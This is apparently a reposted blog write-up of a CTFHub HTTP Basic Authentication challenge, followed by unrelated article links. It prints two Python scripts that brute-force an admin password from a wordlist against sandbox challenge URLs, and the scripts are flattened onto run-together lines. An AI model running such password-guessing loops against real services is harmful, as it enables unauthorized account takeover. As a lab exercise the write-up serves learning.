CTFHub http协议 基础认证题的两种解法

2024-03-23 17:18

本文主要是介绍CTFHub http协议 基础认证题的两种解法,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CTFHub http协议 基础认证题

在做natas时就经常遇到需要http基础认证,python中requests模块提供了对应的方法可以用来对账号密码进行爆破。
这题考察
打开题目抓包,点击click获取flag,弹框需要账号密码,随便输入账号密码,已知账号admin,题干下面提供了密码的字典,直接上python脚本走一波

方法一:利用python中requests模块的auth.HTTPBasicAuth爆破

import requests
proxies={"http:http://127.0.0.1:5080"}
username='admin'
with open(r'10_million_password_list_top_100.txt','r') as f:lines=f.readlines()for pwd in lines:password=pwd.rstrip('\n')url = "http://challenge-537d355a9df61d39.sandbox.ctfhub.com:10080/flag.html"auth=requests.auth.HTTPBasicAuth(username,password)print(auth)res=requests.get(url=url,auth=auth)ss=res.status_codeif ss==200:print("password is %s,status_code is %s" %(password,ss))

通过requests模块,该模块提供了http基础认证的方法,直接爆破密码,根据返回值为200则密码正确,否则返回值为401,密码错误。

方法二:通过浏览器可以用http://username:password@domain的方式进行登陆验证

import requests
username='admin'
with open(r'10_million_password_list_top_100.txt','r') as f:lines=f.readlines()for pwd in lines:password=pwd.rstrip('\n')url = "http://admin:%s@challenge-da462e6a1d7f1d65.sandbox.ctfhub.com:10080/flag.html" %password     res=requests.get(url=url)ss=res.status_code# if ss==200:print("password is %s,status_code is %s" %(password,ss))

爆破结果:
在这里插入图片描述

最终flag:
在这里插入图片描述

这篇关于CTFHub http协议 基础认证题的两种解法的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/839001

相关文章

springboot security使用jwt认证方式

《springbootsecurity使用jwt认证方式》:本文主要介绍springbootsecurity使用jwt认证方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地... 目录前言代码示例依赖定义mapper定义用户信息的实体beansecurity相关的类提供登录接口测试提供一

Docker镜像pull失败两种解决办法小结

《Docker镜像pull失败两种解决办法小结》有时候我们在拉取Docker镜像的过程中会遇到一些问题,:本文主要介绍Docker镜像pull失败两种解决办法的相关资料,文中通过代码介绍的非常详细... 目录docker 镜像 pull 失败解决办法1DrQwWCocker 镜像 pull 失败解决方法2总

C#基础之委托详解(Delegate)

《C#基础之委托详解(Delegate)》:本文主要介绍C#基础之委托(Delegate),具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1. 委托定义2. 委托实例化3. 多播委托(Multicast Delegates)4. 委托的用途事件处理回调函数LINQ

在C#中调用Python代码的两种实现方式

《在C#中调用Python代码的两种实现方式》:本文主要介绍在C#中调用Python代码的两种实现方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录C#调用python代码的方式1. 使用 Python.NET2. 使用外部进程调用 Python 脚本总结C#调

IDEA中Git版本回退的两种实现方案

《IDEA中Git版本回退的两种实现方案》作为开发者,代码版本回退是日常高频操作,IntelliJIDEA集成了强大的Git工具链,但面对reset和revert两种核心回退方案,许多开发者仍存在选择... 目录一、版本回退前置知识二、Reset方案:整体改写历史1、IDEA图形化操作(推荐)1.1、查看提

Android自定义Scrollbar的两种实现方式

《Android自定义Scrollbar的两种实现方式》本文介绍两种实现自定义滚动条的方法,分别通过ItemDecoration方案和独立View方案实现滚动条定制化,文章通过代码示例讲解的非常详细,... 目录方案一:ItemDecoration实现(推荐用于RecyclerView)实现原理完整代码实现

Redis解决缓存击穿问题的两种方法

《Redis解决缓存击穿问题的两种方法》缓存击穿问题也叫热点Key问题,就是⼀个被高并发访问并且缓存重建业务较复杂的key突然失效了,无数的请求访问会在瞬间给数据库带来巨大的冲击,本文给大家介绍了Re... 目录引言解决办法互斥锁(强一致,性能差)逻辑过期(高可用,性能优)设计逻辑过期时间引言缓存击穿:给

SpringSecurity 认证、注销、权限控制功能(注销、记住密码、自定义登入页)

《SpringSecurity认证、注销、权限控制功能(注销、记住密码、自定义登入页)》SpringSecurity是一个强大的Java框架,用于保护应用程序的安全性,它提供了一套全面的安全解决方案... 目录简介认识Spring Security“认证”(Authentication)“授权” (Auth

Go语言中最便捷的http请求包resty的使用详解

《Go语言中最便捷的http请求包resty的使用详解》go语言虽然自身就有net/http包,但是说实话用起来没那么好用,resty包是go语言中一个非常受欢迎的http请求处理包,下面我们一起来学... 目录安装一、一个简单的get二、带查询参数三、设置请求头、body四、设置表单数据五、处理响应六、超

VSCode中C/C++编码乱码问题的两种解决方法

《VSCode中C/C++编码乱码问题的两种解决方法》在中国地区,Windows系统中的cmd和PowerShell默认编码是GBK,但VSCode默认使用UTF-8编码,这种编码不一致会导致在VSC... 目录问题方法一:通过 Code Runner 插件调整编码配置步骤方法二:在 PowerShell